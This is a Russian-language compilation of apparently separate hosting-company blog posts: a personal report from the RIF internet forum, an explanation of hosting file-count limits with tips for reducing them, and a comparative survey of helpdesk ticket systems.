Программа Форума

Конференции шли в девяти параллельных потоках. Сориентироваться по программке не составляло труда, выбрать было несколько сложнее. Каждая конференция относилась к одной из четырех групп.

• В секциях программного комитета обсуждались общие вопросы, тенденции развития Рунета и рынка специалистов тем или иным образом связанных с Интернетом.
• Презентации программных продуктов вынесли в партнерские секции. Здесь выступали представители «1С-Битрикс», OZON, «Нетологии» и другие. Мне кажется, все, что было на eTarget, по степени коммерческой направленности однозначно следовало бы отнести в данную секцию
• В рамках UpStart Conf делились информацией о стартапах и обо всем, что с ними связано.
• В секциях программы 2.0. звучали доклады-победители, выбранные путем голосования через сайт. Голосовать на сайте организаторов мог любой желающий. Достоверность результатов многих не удовлетворила, о чем на searchengines.ru выросла целая дискуссия (уже подвергшаяся цензуре).

Я перемещалась из секций программного комитета в секции программы 2.0. В результате удалось послушать ряд докладов, посвященных веб-аналитике, рекламе в социальных сетях, рекламе с оплатой за действие (CPA и CPS), рекламе в мобильных устройствах. Информация примерно та же, что на eTarget.

Особенно интересными показались секции, посвященные взаимодействию с Интернетом самых незащищенных его пользователей: детей и людей с ограниченными возможностями (в данном случае речь шла о слабовидящих).

На самом деле это никому не надо

Поделюсь интересным эпизодом. В рамках секции «Дети в Интернете» представители Google, РАЭК, Mail.ru, представитель госдумы, Мизулина Елена, и еще несколько серьезных людей обсуждали очевидную сложность создания условий для безопасного нахождения ребенка в Интернете, всячески переливая из пустого в порожнее. Потом появился господин Ашманов и стал задавать вопросы, приводящие участников дискуссии в тупик. В какой-то момент спор перерос в перепалку. Попросить Ашманова удалиться было нельзя, но прервать дискуссию попросили.

В завершении секции представитель компании рассказывал об уникальной разработке специалистов «Ашманов и партнеры», на данный момент внедряемой во Вьетнаме по госзаказу. Разработка позволяет анализировать содержание веб-страницы лингвистическими методами и не допускать загрузку в случае обнаружения сомнительно контента. Таким образом предполагается свести на нет взаимодействие детей с сайтами, распространяющими наркотики, вовлекающими в проституцию, содержащими порнографию, а также информацию, побуждающую к насилию и совершению суицида. Сам Ашманов добавил, что в России едва ли когда-нибудь будет внедрена эта или подобная разработка.

Немного об организации

В первый день участники были неприятно удивлены неразберихой, царившей в столовой главного корпуса. Хвала оплаченным заранее обедам! Если бы не они, я, подобно многим другим, отстаивала бы огромные очереди на улице за шашлычком. Все три дня. А хорошей погодой Подмосковье особо не баловало.

Всем участникам Форума был предоставлен Интернет по Wi-Fi доступу от Билайн (индивидуальный код доступа располагался на бирке участника). К сожалению, интернет работал нестабильно, особенно в местах большого скопления людей.

Место действия

Толстые поварихи, похожие на детсадовских нянечек. Чудно пахнущие хвойные и курсирующие по веткам белки. Хронология развития Рунета, начертанная мелками на асфальте. Где же еще быть Интернет Форуму как не в «Лесных Далях», по-своему уютных и заметно советских?

Селиться, конечно, надо было на территории пансионата. Хотя бы в соседних «Полянах». Программа Форума была весьма насыщенной, что касается и неофициальной (вечерней) части. Посетить все не удалось, поскольку и путь неблизкий, и пробки случались (настоящие, московские), и дорога утомительная.

Крашеные овцы

Мне было очень интересно, какая на РИФ будет реклама. Что же в итоге? Много полуголых женщин на высоких каблуках. У меня все внутри это отрицает, ибо скучно и уже тысячу раз было.

Из небанального: по разукрашенной дорожке разгуливали (не вместе) Робин-Гуд, Бэтмен и бородатый мужчина с бензопилой (промоутер рекламного агентсва «Маньяко»). Бензопилу включать не разрешали, но она самая настоящая! Опасный бородач оставил глубочайший след в моем сердце, что повлекло за собой появление фотографии, которую я никому не буду показывать, но приложу к данному отчету.

На футболке написано «Я тебе не промо-телка». Вот уж да, уровень другой. У такого человека просто нельзя не взять визитку

За нашими спинами палатка «Одноклассников», там наливали глинтвейн и разжижали людям мозг. По сути — полная аналогия с самим сервисом «Одноклассники» и прочими социальными сетями. У меня в руке стакан с глинтвейном. Это мне, непьющей, помогало, да.

Для тех, кого не удивишь халявным спиртным, разбил свой шатер «Мегаплан».

Внутри предлагалось покурить кальян. Вход организован по приглашениям.

На пяточке между шатром «Магаплана» и палаткой «Одноклассников» людям было поголовно хорошо. Они делали вот так:

Был еще один маньяк — лобзиком iPad распиливший. Ничего с собой не могу поделать: жалко устройство, робко надеюсь на то, что оно ненастоящее. Фото не прикладываю: слишком печально

За что мне было бы стыдно

Ах, да. А вот и крашеные овцы. В памперсах.

А теперь хороший пример

Что-то да понравилось, конечно. А именно реклама от HeadHunter. Господа при помощи листа бумаги и голого креатива превратили обычные скамейки пансионата в брендированные. К скамейкам прикрепили листки, будто собираясь написать на них «Осторожно: окрашено!». Использование формы предостерегающего знака для рекламного объявления — блестящая идея. Содержание было рекламным, надпись гласила: «Трудоустраивайтесь поудобнее». Результат — все смотрят! И внимательно читают перед тем как присесть.

И еще HeadHunter вовлекли участников Форума в следующую забаву. Участникам было предложено путем голосования определить самую актуальную профессию века (в несколько этапов, по разным временным промежуткам). Представителей профессий-лидеров в виде граффити изображал на стене главного корпуса специально для этой цели приглашенный художник.

Охотник, рыбак, алхимик, офисный работник (затрудняюсь назвать точнее), космонавт. Не понимаю, как в одном из раундов смог победить алхимик

Общение с участниками Форума

А я думала, знакомиться в транспорте пошло. Нет! Если этот транспорт — автобус на РИФ

Настоящим подарком стал автобус конференции, собиравший участников у станции метро «Молодежная» и доставлявший их прямиком в «Лесные дали».  Первые два дня мои попутчики спали или были прочно заняты своими делами, а я смотрела в окно и изучала шедевры московской рекламы (торговый центр «Жуковка plaza», ресторан «Подмоскоvные vечера», «Домработницы из Филиппин» и прочее не менее достойное).

В последний день люди как будто расслабились и, наконец, выразили желание общаться. По пути на РИФ познакомилась с юным бизнесменом из Орла, по пути обратно познакомилась с редактором украинского портала optimization.com.ua, который также ведет популярный сео-блог. Все фотографии в моем отчете сделаны этими замечательными людьми — Павлом Осипенко и Сергеем Кокшаровым.

За три дня, проведенных в «Лесных далях», мне встретилось много приятных и доброжелательных людей. Что тут скажешь, свежий воздух и общее интересное дело творят чудеса!

Ограничения есть всегда и у всех: ничего бесконечного в мире не существует, и факт публикации информации об этих ограничениях в предоставляемых услугах — это лишь вопрос прямоты и открытости каждой отдельной компании. Изучение вопроса ограничения количества файлов на примере российских и зарубежных коллег дало вполне прогнозируемый результат.

Ограничение на количество файлов присутствует у многих провайдеров хостинга. У большинства это ограничение обозначено явно и привязано к тарифному плану или указано в условиях предоставления услуг (SPRINTHOST.RU, Хостинг-Центр, Логол, Джино, Hoster.ru, из зарубежных — HostGator, BlueHost, 1&1). Некоторые провайдеры (например, HostMoster) не указывают явного ограничения, однако оставляют за собой право попросить клиента сократить количество файлов или заблокировать аккаунт при их большом количестве. Даже если термин «количество файлов» или «number of inodes» не упоминается явно, присутствуют общие формулировки, по которым провайдер может ограничивать использование услуг, если активность аккаунта влияет на качество предоставления услуг другим клиентам хостинга, и администраторы провайдеров часто прибегают к этим формулировкам, чтобы ограничить любую активность, которая им «не нравится», в том числе, ограничить количество файлов.

Давайте посмотрим, почему хостинг-провайдеры обращают внимание на количество файлов, размещенное на аккаунте виртуального хостинга, чем может быть обусловлено большое количество файлов и каким образом можно его сократить без ущерба для работоспособности сайтов.

Что происходит при чрезмерном количестве файлов?

Снижается скорость работы с файлами. Современные файловые системы позволяют разместить десятки миллионов файлов. Однако полностью это количество использовать сложно: с увеличением количества файлов снижается скорость доступа к ним. В этом ключе файловую систему можно рассматривать как базу данных, в которой хранятся имена файлов и место их расположения на диске. Чем больше база данных, тем дольше осуществляется поиск конкретного файла на диске. Таким образом, увеличение количества файлов на файловой системе замедляет работу с ней. На сервере хостинга это сказывается на работе всех сайтов, которые размещены на этой файловой системе.

Замедляется создание резервных копий. При большом количестве файлов на одном аккаунте замедляется скорость его резервного копирования, которая в большей степени зависит именно от количества файлов, а не от их объема. Это означает, что создание резервной копии одного пользователя может растянуться на несколько десятков минут. При большом количестве таких аккаунтов сервер может не успеть за сутки создать резервные копии для других пользователей.

Таким образом, отсутствие контроля за количеством файлов сказывается на качестве предоставления услуг. Провайдеры хостинга контролируют количество файлов, чтобы сохранить качество услуг на высоком уровне, прогнозируя заранее изменение всех технических параметров системы.

Кому и зачем нужно неограниченное количество файлов?

Прежде чем установить лимиты количества файлов по тарифам, мы провели масштабное исследование и посмотрели, кому и сколько файлов необходимо для работы. Исследование показало, что более 99 (девяноста девяти) процентов клиентов, использующих услуги по каждому конкретному тарифному, на протяжении многих месяцев используют в своей работе вполне конечное количество файлов. Больше этого количества им никогда и ни для чего не потребуется. Не говоря уже о неограниченном их количестве.

Всех под одну гребенку: справедливо ли это?

Изучая результаты упомянутого выше исследования, мы сталкивались с мнениями сродни такому: «Так если тех, кто не вписывается в лимиты, меньше одного процента, не проще ли не обращать на них внимание и позволить им превышать доступные лимиты?» Нет, не проще. Совершенно невозможно понять, почему клиенты, сайты которых создают несравнимо большую нагрузку на дисковую подсистему, должны платить столько же, сколько платит большинство клиентов, вписывающихся в лимиты.

Кажется, это справедливо.

Как сократить используемое количество файлов?

Даже если у вас на аккаунте наблюдается превышение лимита количества файлов (или вы приближаетесь к лимиту) — паниковать не нужно. Нужно понять причину: отчего у вас расплодилось столько файлов.

Опыт показывает, что в большом количестве случае сократить количество файлов можно без какого-либо влияния на работу сайтов. Большое количество файлов могут использовать:

• Старые или неиспользуемые копии сайтов. Например, это могут быть копии, созданные разработчиками перед внесением каких-либо изменений или копии сайтов, созданные для экспериментов.
• Неиспользуемые форумы, галереи. Возможно, когда-то они были установлены для расширения сайта, однако в дальнейшем не использовались. Со временем на форумах, за которыми никто не следит, появляется спам, оставленный роботами (в основном с рекламой сайтов с лекарствами и эротикой), а в галереях могут появляться даже неприличные картинки. Очищать сайт от таких разделов полезно даже вне действий по уменьшению количества файлов, так как их наличие сказывается на репутации сайта и его представлении в поисковых системах.
• Временные файлы. Это могут быть распакованные перед установкой архивы расширений CMS, файлы кеша, которые по каким-то причинам не удаляются, другие временные файлы, очистка которых не производится автоматически.
• Письма в ящиках, которые никто не проверяет. Достаточно создать на домене ящик info@ и не забирать из него почту, чтобы через несколько месяцев на нем накопилось несколько тысяч писем спама.

Наши специалисты помогут вам проанализировать сайт и определить, нет ли на нем большого количества неиспользуемых файлов, которые можно удалить — не только безболезненно, но и с пользой для сайта. Не спешите менять тарифный план — обратитесь к специалисту.

О перспективах. Дальше все будет строже?

Периодически приходится сталкиваться с недовольными репликами: «Ну, вот: раньше все было неограниченное! Сначала стали ограничивать процессорное время, теперь вот количество файлов… Что следующее? Может, скоро нельзя будет создавать файлы с именем длиннее 20…30 символов в зависимости от тарифа?».

Разумеется, это не очень конструктивная позиция, учитывая тенденцию в отрасли хостинга переходить к тотальному подсчету всех мыслимых ресурсов и оплате по факту потраченных ресурсов вместо существующих сейчас тарифных планов. Но и язвительный скептицизм сформулированного вопроса тоже можно понять. Наш ответ отрицательный: нет, длину имени файлов ограничивать не будем, оставим это разработчикам файловой системы .

Подобные возможности предоставляют так называемые системы HelpDesk. Заявка в такой системе, как правило, называется «тикетом», поэтому систему по-русски можно назвать «тикетницей». Для поиска решения, наилучшим образом подходящего для нас, мы составили список требований, посмотрели чуть более 100 продуктов, 16 из них установили и протестировали, определили финалистов и, наконец, выбрали ту систему, которую мы используем сейчас.

Ниже представлены результаты нашего исследования. «Победитель» здесь не отмечен намеренно: для каждого конкретного случая, для каждой команды сотрудников окончательный выбор необходимо делать, исходя из собственных требований.

Начнем с самого интересного — с финалистов. Но перед этим опишем требования к системе.

Требования к системе

В нашей компании несколько отделов, у каждого отдела свой вариант оформления писем, своя специфика. Заявки могут перемещаться между отделами в процессе работы. Кроме того, у нас есть возможность установить продукт на собственном сервере, и мы заинтересованы в его тонкой подстройке под себя — разработчики для подобных задач в нашей компании также имеются. Исходя из этих предпосылок, был составлен список требований.

1. Активность разработчиков и сообщества — продукт должен развиваться и поддерживаться.
2. Бесплатная или недорогая (~ 30 000 рублей).
3. Возможность установки на собственный сервер (не on-demand/hosted).
4. Реализация на PHP с открытым исходным кодом — для возможности модификации системы под себя.
5. Исходный код должен быть понятным и структурированным.
6. Продукт использует базы данных MySQL или PostgreSQL.
7. Наличие веб-интерфейса для работы с заявками.
8. Корректная работа с UTF-8 и с русскими кодировками — как в веб-интерфейсе, так и при получении/отправке писем.
9. Возможность перевода интерфейса на русский язык (наличие готовой локализации или удобного способа перевода).
10. Автоматическое создание тикета из входящего письма (Email to Ticket Gateway). Ответ сотрудника отправляется пользователю письмом (фактически эмулируя обычную переписку по почте). Ответ пользователя присоединяется к исходному тикету.
11. Отображение истории переписки в удобном виде.
12. Возможность видеть, какой именно сотрудник отвечал на заявку.
13. Поддержка нескольких отделов. Письма автоматически попадают в нужный отдел.
14. Возможность ограничить доступ сотрудника только к конкретным отделам.
15. Сотрудник может переместить заявку в другой отдел.
16. Возможность задать персональную подпись в письмах для каждого отдела.
17. Поддержка вложенных файлов в письмах — как во входящих, так и в исходящих.
18. Возможность отделить сообщение из имеющейся переписки в отдельную заявку (split ticket).
19. Поддержка шаблонных ответов.
20. Возможность оставлять внутренние комментарии в тикете.
21. Наличие механизма эскалации тикетов (если на обращение долго не отвечают, об этом сразу узнает менеджер).
22. Наличие поиска по тикетам: по сотруднику, получателю, теме, содержимому, отделу, дате.

Желательные:

1. Наличие API для создания/работы с тикетами извне.
2. Подача звукового сигнала при появлении новых сообщений.
3. Подсчет статистики: сколько заявок было обработано сотрудником, какое среднее время ответа.
4. Возможность обратной связи: оценка пользователем ответа сотрудника поддержки.

По каждому продукту, подходящему по техническим характеристикам, мы отправляли запрос на контактный адрес разработчиков, чтобы уточнить соответствие другим требованиям и чтобы проверить работу поддержки. Отсутствие ответа — критический минус, так как потом в случае проблем обратиться будет некуда.

Финалисты

Kayako Resolve

Стоимость: $599 за 10 сотрудников. В стоимость включено 6 месяцев обновлений. Учитывается общее количество сотрудников, заведенных в системе.

Это самая многофункциональная система поддержки. По работе с заявками она умеет все. Кроме основных функций поддерживается также постановка задач, управление SLA, нотификации по SMS, база знаний и веб-портал для пользователей, API для интеграции с другими сервисами. Используется многими именитыми компаниями (ICANN, Sony, DHL, MTV).

Из-за большого набора возможностей интерфейс настроек и работы с ней несколько перегружен. Это классическая и строгая система для организации службы поддержки с полным набором возможностей.

Русификация поддерживается только для веб-интерфейса, предоставляемого клиентам. Интерфейс для работы сотрудников нужно переводить самостоятельно правками в коде. Исходный код открыт.

Продукт полноценно поддерживается и развивается. Поддержка отвечает быстро, есть чат на сайте.

Докупать лицензии можно также не менее, чем по 10 сотрудников. Лицензия ограничивает общее заведенное в системе количество сотрудников, вне зависимости от того, активны они или нет. Если сотрудник увольняется, а на его место приходит другой, необходимо удалить сотрудника и добавить нового. Имя удаленного сотрудника при этом будет фигурировать в письмах, которые он отправлял.

Есть версия SaaS.

Cerberus HelpDesk

Стоимость: $675 за 5 сотрудников, в стоимость включен год обновлений. Учитывается только то количество сотрудников, которое одновременно находится в онлайне — общее количество сотрудников при этом не ограничено.

Принципиально Open source, о чем и заявляют у себя на сайте. Изначально система создавалась для службы поддержки провайдера хостинга.

Система нацелена на обеспечение эффективного сотрудничества между коллегами. Большой упор идет на создание персонального настраиваемого рабочего места каждого сотрудника. Так, каждый сотрудник может создать для себя несколько «Рабочих пространств» (Workspaces), представляющих из себя сохраненные поиски (например: все открытые тикеты в группе Поддержка, которые никому не принадлежат — раз; недавно закрытые тикеты во всех группах — два; тикеты, принадлежащие саппорту Даниле — три). Эти рабочие пространства — основной инструмент работы, в отличие от других тикетниц, где основной инструмент работы — фиксированный список очередей заявок, к которым сотрудник имеет доступ.

Таким образом, основная особенность системы — гибкость и настраиваемость рабочего места под каждого сотрудника, а также всей системы под сложившийся рабочий процесс. Все стандартные возможности по работе с тикетами при этом присутствуют в полном объеме. Также используется именитыми компаниями (Cisco, Yamaha), но широко известных имен меньше, чем у Kayako.

Поддерживает отчеты, базу знаний, учет рабочего времени и другие расширения, в том числе созданные сторонними разработчиками. Поддерживает API через HTTP (JSON). Оповещение о новых сообщениях можно получать по RSS. Русифицировать можно все с помощью переводчика в панели администратора. Исходный код открыт.

Поддержка на простые вопросы отвечает по почте довольно быстро. Над сложными может подумать некоторое время, но тоже отвечает. Продукт активно разрабатывается, новые версии выходят раз в 3 месяца.

Стоимость дополнительной лицензии — $65 за 1 место. Так как общее количество сотрудников не ограничено, при увольнении сотрудника достаточно пометить его как Disabled — вся информация о нем при этом сохранится. При общем штате в 15 сотрудников достаточно купить лицензию только на то количество, которое работает одновременно в течение смены, например, на 5 рабочих мест.

Есть версия SaaS.

osTicket

Есть русское сообщество.

Бесплатная система, open source. Это единственная из бесплатных систем поддержки на PHP, которая дошла до финала. По сравнению с платными аналогами выглядит неконкурентоспособной, однако поддержка базового функционала присутствует. Активность разработки и сообщества низкая.

Есть расширение, разработанное сообществом, предоставляющее API для взаимодействия с osTicket через SOAP.

Работать с системой можно только при наличии разработчика, который будет ее поддерживать и добавлять функционал под нужды компании. Возможно, стоимость времени такого разработчика будет выше, чем стоимость лицензии платного продукта.

Отдельно о поддержке кириллицы

Проблемы с русским языком есть у всех систем, разработанных зарубежными программистами. Так, у Kayako и osTicket не всегда корректно распознаются и кодируются заголовки писем, содержащих кириллические символы. У Cerberus особенный механизм поиска по тексту, и при поиске русских слов в теле писем, возможно, придется попробовать несколько вариантов (поиск по теме письма при этом происходит корректно).

Продукты, на которые стоит обратить внимание

Многие продукты, с которыми мы познакомились, не подошли нам в силу специфических требований нашей компании. Однако в каждой компании требования к системе поддержке свои. При выборе конечного решения мы рекомендуем также обратить внимание на следующие продукты:

OTRS

Бесплатный, open source, на Perl. Известная система работы с тикетами, на рынке присутствует уже много лет. Некоторое время назад был внедрен современный интерфейс. Умеет все, что требуется от тикет-системы: много отделов, права пользователей, эскалация, поиск, шаблоны ответов. Поддерживает UTF-8, есть русская локализация. Совместим с ITIL. Есть версия SaaS.

Request Tracker от Best Practical

Бесплатный, open source, на Perl. Разрабатывается более 10 лет, также недавно внедрили современный интерфейс. Русский язык поддерживается, также поддерживается SLA, учет рабочего времени, разграничение по отделам, мощная система прав и многое другое. Версии SaaS не предлагают, но предлагают услуги хостинга и установки RT.

Live Agent от www.QualityUnit.com.

Стоимость: от $199 за 5 сотрудников. Учитывается общее количество сотрудников, заведенное в системе, в том числе заблокированных.

Современная система для организация простой поддержки. Объединяет чат на сайте и электронную почту, основной упор сделан на живое быстрое общение. Поддерживается локализация, разрабатывается русский перевод. Минусы: код закрыт, недостаточное внимание уделено общению по электронной почте.

Есть версия SaaS.

SysAid Enterprise

Стоимость: $549 (базовая версия). Лицензия ограничивает количество клиентов (учет ведется по адресу электронной почты клиента).

Предназначена для поддержки конечных пользователей на рабочих местах, неприменима для поддержки неопределенного круга клиентов. Реализована на Java, код закрыт. Поддерживает русский. Есть версия SaaS.

ClientExec

Стоимость: $249 (без ограничений).

Панель виртуального хостинга с развитым модулем технической поддержки. Поддержка продукта работает оперативно, разработчики незамедлительно приступили к исправлению ошибок, на которые мы указали в ходе тестирования. Поддержка кириллицы на момент тестирования не всегда работала корректно. Код открыт, PHP.

ServiceDesk Plus

Стоимость: $200 за сотрудника.

Поддержка рабочих мест в офисе. На 80% совместима с ITIL. Распространяется в виде исполняемых файлов под Linux/Windows, код закрыт. Есть версия SaaS.

Support Incident Tracker

Бесплатная простая система на PHP. Предназначена для поддержки рабочих мест в небольшом офисе. Отделы отсутствуют — когда конечный клиент сообщает о проблеме, он должен назначить ее конкретному сотруднику поддержки.

HelpDesk Pilot

Стоимость: $387 за 3 сотрудника/5 отделов.

Предназначен для организации службы поддержки (тикетница), содержит дополнительные модули: база знаний, автоматическая фильтрация писем, отчеты. Удобный интерфейс, поддерживаются различные языки. Продукт активно разрабатывается.

itop — ITSM & CMDB OpenSource

Активно разрабатывающаяся бесплатная система с открытым исходным кодом, поддерживающая ITIL/ITSM.

Integria IMS

Бесплатная система для разработки и управления проектами.

GLPI

Бесплатная система для управления оборудованием и поддержки пользователей в организации. Давно разрабатывается и обладает богатым функционалом.

SugarCRM

Бесплатная CRM с открытым исходным кодом для разработки продуктов в сфере ИТ. Имеет инструменты для маркетинга, совместной работы, общения с клиентской базой, управления продажами. Есть версия SaaS.

Hesk HelpDesk

Бесплатная система на PHP для поддержки пользователей через веб-интерфейс. Есть поддержка русского языка. Не поддерживает прием заявок по электронной почте. Есть версия SaaS.

Неудачные продукты

В процессе знакомства с решениями технической поддержки были выделены также продукты, которые мы посчитали неудачными. В основном эти продукты либо не разрабатываются, либо не обладают необходимым функционалом при высокой стоимости. Тем не менее, за время исследования один из продуктов был перемещен из секции неудачных продуктов в группу достойных внимания: разработчики выпустили новую версию, изменили ценовую политику и значительно улучшили общее впечатление о продукте. Поэтому необходимо принимать по внимание, что ситуация со временем может измениться, причем в лучшую сторону.

OneOrZero

Стоимость: $150 без ограничений.

Предназначена для организации службы поддержки и соответствует базовым требованиям. Некорректно поддерживает кириллицу, неудобный интерфейс. Разработчики не отвечают на письма, не видно разработки продукта.

DeskPRO Enterprise

Стоимость: $995 за 30 сотрудников.

Предназначена для организации службы поддержки (тикетница). Не работает с кириллицей. Серьезные недостатки по возможностям при высокой стоимости. Возможно предоставление исходного кода.

iScripts Supportdesk

Стоимость: $147 без ограничений.

Предназначена для организации службы поддержки (тикетница). Последняя версия от января 2011 года, однако списка изменений обнаружить не удалось, что не позволяет оценить их существенность. Отвечают только на вопросы о продаже, технические вопросы игнорируют.

HelpSpot

Стоимость: $199 за сотрудника.

Предназначена для организации службы поддержки (тикетница). Нет поддержки UTF-8, более того — поддержка не планируется из-за «некорректной работы PHP с UTF-8» (ответ разработчиков). Есть сомнения в качестве продукта.

LANBilling HelpDesk

Является приложением к системе LANBilling для организации поддержки пользователей, при этом может работать обособленно. Не обладает практически никакими возможностями.

Trellis Desk

Распространяется бесплатно. Предназначена для организации службы поддержки (тикетница). Хорошо выглядит и обладает необходимыми функциями. Однако разработчики предоставляют исключительно платную поддержку, получить помощь даже по простым вопросам во время тестирования или отправить разработчикам сообщение об ошибке невозможно.

Более не разрабатывающиеся продукты

При поиске системы поддержки мы фиксировали все продукты, которые можно обнаружить по ключевым словам «система поддержки», «help desk», «service desk». Многие из проектов оказались уже закрыты разработчиками. Мы приводим здесь их список и уверены, что на текущий момент это самый полный список умерших тикетниц в интернете!

• Eventum Issue — от разработчиков MySQL. Очень неудобный интерфейс, нет обновлений с 2009 года.
• Zermit — в процессе тестирования не отвечали на письма, в настоящий момент сайт не работает.
• ZenTrack — проект закрыт в 2009 году.
• Acacia Help Desk Software — сайта нет.
• Insirux Helpdesk — сайт не работает: домен на парковке.
• Active Request Engine — домен выставлен на продажу.
• Help Desk Reloaded — очень медленная разработка: новости на сайте обновляются раз в 2 года.
• ColdBrew Helpdesk — последнее обновление от 2009 года.
• HelpDesker — разработка проекта не начиналась.
• IT Helpdesk — последнее обновление от 2006 года.
• Uniben helpdesk — проект не существует.
• SAMOS HelpDesk — последнее обновление от 2009 года.
• PHP Support Tickets — сайт создан на шаблоне и не заполнен информацией.
• Support Logic Helpdesk — нет сайта.
• Support Services Manager — нет сайта.
• Inverseflow HelpDesk — нет обновлений с 2006 года.
• НТР-сервис (NTRService) — в требованиях MySQL 3 и PHP 4, последние новости на сайте продукта — 2007 год, на сайте разработчика — 2009 год.
• WebSoft HelpDesk — судя по материалам в интернете, продукт ранее существовал. В настоящий момент по этому запросу находится только форма обращений в службу поддержки компании WebSoft.
• SDS HelpDesk — сайт не работает.
• eForcer HelpDesk — теперь iScripts.
• jab:ITS PHP/MySQL Incident Tracking System — последние новости от 2004 года.
• SupportPRO Support Desk — теперь разрабатывается iScripts.
• USTWeb — нет сайта.
• Auscomp IT Commander — больше не разрабатывается.
• eTicket — нет обновлений с 2008 года.
• SimpleTicket — сайт отсутствует.
• Liberum Help Desk — последняя версия продукта 2002 года.
• AppMaker with HelpDesk — не разрабатывается с 2008 года.
• FireSTARTER — сайт выглядит устаревшим и не обновляется.
• Mercury — поглощен Hewlett Packard.
• Peregrine ServiceCenter — поглощен Hewlett Packard.
• InterTrust CM-HelpDesk — последние новости на сайте от 2009 года.
• Abacus HelpDesk — системные требования: Windows 2000.
• Netkeeper — системные требования: Windows 98.
• Auratech WebCISS — сайт не обновлялся с 2005 года.
• PerlDesk — последняя версия от 2008 года.
• Departmental Helpdesk — простая система с открытым исходным кодом. Не использует базу данных: все сохраняется в текстовых файлах. С 30.05.2011 проект более не разрабатывается.
• Rational CQ — теперь IBM Tivoli.
• itsHelp — не обновляется с января 2010 года, продукт не выглядит завершенным.
• Ilosoft Support Center — сайт не обновляется с 2005 года.
• DapperDesk — сайт не обновляется более двух лет.
• exDesk — сайт не обновлялся несколько лет, в приведенных скриншотах работы системы даты 2005 и 2006 годов.

Не исследовавшиеся продукты

Некоторые системы мы не протестировали в силу несоответствия их базовым требованиям: например, не тестировались системы, предназначенные для Windows, или системы, технических требований по которым обнаружить не удалось. Здесь мы приводим краткий перечень этих продуктов.

Разбиение по группам условное — по системным требованиям. Упорядочивание по стоимости в приведенном списке не производилось. На соседних позициях могут находиться как бесплатные системы, так и комплексные решения, стоимость которых составляет несколько сотен тысяч рублей.

Некоторые системы повторяются в разделе SaaS, так как разработчики предлагают разные способы использования: для установки на свой сервер (Download version) или как сервис для работы (SaaS a.k.a. On Demand a.k.a. Hosted).

Продукты без документации

• (Кречет) Crechet HelpDesk — отсутствует документация по продукту.
• BMC Remedy ITService — отсутствуют требования к системе.
• Incindent Monitor — отсутствуют системные требования.
• SerioPlus Support — не указаны системные требования.

Системы для Windows

• Numara TrackIt!
• Numara FootPrints Web-based Help Desk.
• Astrosoft Helpdesk — сотрудничают с Numara.
• Решения от Hewlett Packard.
• SpiceWorks HelpDesk, бесплатная.
• NetSupport ServiceDesk.
• Magic Help Desk.
• NetHelpDesk.
• TechExcel HelpDesk.
• ITSM-система ИнфраМенеджер.
• Vector HelpDesk.
• Itilium — разработан на платформе «1С:Предприятие 8.2».
• TerraSoft Service Desk.
• LANDesk.
• FrontRange Heat HelpDesk Software, Heat PowerDesk.
• ScriptLogic HelpDesk Authority, ранее BridgeTrak. Еще один их сайт — helpdesksoftware.com.
• Omnitracker.
• IntraService — российская разработка.
• Aegis.
• TSC2 Help Desk.
• ieSupportManager.
• HelpMaster Pro.
• Axios Service Desk.
• IssueTrak’s help desk.
• magnoware DataTrack System.
• Polar Help Desk.
• rave7™ LCM (Life Cycle Management) Suite (a.k.a. Prop Web).
• LBE Help Desk.
• Web+Center.
• ELMA.
• SmarterTrack от SmarterTools.
• Microsoft System Center Service Manager.

Java

• Kwok Information Server — система с открытым исходным кодом.
• LiveTime ITSM.
• Web Help Desk.
• Naumen Service Desk.

Perl

• Trouble Ticket Express — система с открытым исходным кодом.

PHP

• WHMCS — система для автоматизации обслуживания клиентов, включающая биллинг и систему поддержки пользователей. Совместима с большим количеством панелей управления хостингом/VPS, включает модули для регистрации доменов, продажи сертификатов SSL, приема платежей.
• dotProject — система с открытым исходным кодом для управления проектами, включает систему поддержки.
• Модуль техподдержки на основе «Битрикс: Управление сайтом».
• Система Helpdesk на основе HostCMS.
• SimpleDesk — простая система поддержки, реализована как расширение для форума SMF (Simple Machines Forum).

Python

• Roundup — cистема для ведения базы проблем и их решения.
• IPI.MANAGER — система управления задачами. Возможные применения: организация единой службы поддержки, система CRM, управление проектами. Российский продукт, ведется активная разработка.

Мультиплатформенные

• IBM Tivoli Service Manager for Smart Business — Unix, Linux, Windows.
• IBM Tivoli Service Request Manager — AIX, Linux, Solaris, Windows 2003 server.
• CA Service Desk Manager — HP-UX, IBM AIX, Windows, Redhat, SuSe, Sun Solaris.

SaaS (они же On-Demand, они же Hosted)

• ZenDesk.
• IntraService — российская разработка.
• Numara FootPrints Web-based Help Desk.
• FrontRange SaaS HelpDesk.
• IssueTrak’s help desk.
• rave7™ LCM (Life Cycle Management) Suite (a.k.a. Prop Web).
• SmarterTrack от SmarterTools.
• LiveTime ITSM.
• LBE Help Desk — не совсем SaaS: просто предлагают установить систему на их хостинг их собственными силами.
• Web Help Desk — предлагают установку на их хостинг.

Резюме

Исследование показало, что на рынке представлено больше количество систем, так или иначе решающих задачу автоматизированной технической поддержки пользователей: с открытым и закрытым исходным кодом, платные и бесплатные, направленные на работу через веб-интерфейс и через специализированные клиенты, реализованные в виде самостоятельных серверных приложений или предназначенные для запуска из-под веб-сервера. По возможностям системы поддержки пользователей можно разделить на следующие группы:

• Простые системы для отслеживания заявок.
• Системы средней сложности с возможностью групповой работы, автоматизации действий, поддержки базы знаний, учета SLA, создания отчетов.
• Комплексные решения, поддерживающие ITSM/ITIL, предназначенные для управления процессами, связанными с технической поддержкой и разработкой продуктов в больших компаниях.

При выборе системы поддержки пользователей важно обращать внимание:

• На соответствие предлагаемых продуктом возможностей и принципов работы рабочему процессу, установившемуся в компании.
• На возможность адаптации системы к возникающим в компании изменениям.
• На активность выпуска обновлений разработчиками и оперативность работы службы поддержки продукта.

Мы надеемся, что данная статья, если и не послужит решающим фактором при выборе системы поддержки пользователей, то, как минимум, станет хорошей отправной точкой для проведения аналогичных исследований.

Использованные материалы

• Поиск в Google и SourceForge по ключевым словам «service desk», «служба поддержки», «support desk», «helpdesk», «ticket», «support», «tracker».
• Форум Ru.Board: 1, 2.
• helpdesk.com
• helpdeski.ru

Словарь терминов

• UTF-8 — распространенная кодировка, поддерживающая символы многих языков, используется для хранения и передачи текста.
• Русские кодировки — windows-1251, KOI8-R/KOI8-U, CP866, кириллические кодировки символов, часто использующиеся для передачи сообщений электронной почты.
• API — интерфейс приложения, позволяющий обращаться к нему из внешних программ. Частный случай — возможность автоматизированного обмена данными с приложением через запросы HTTP.
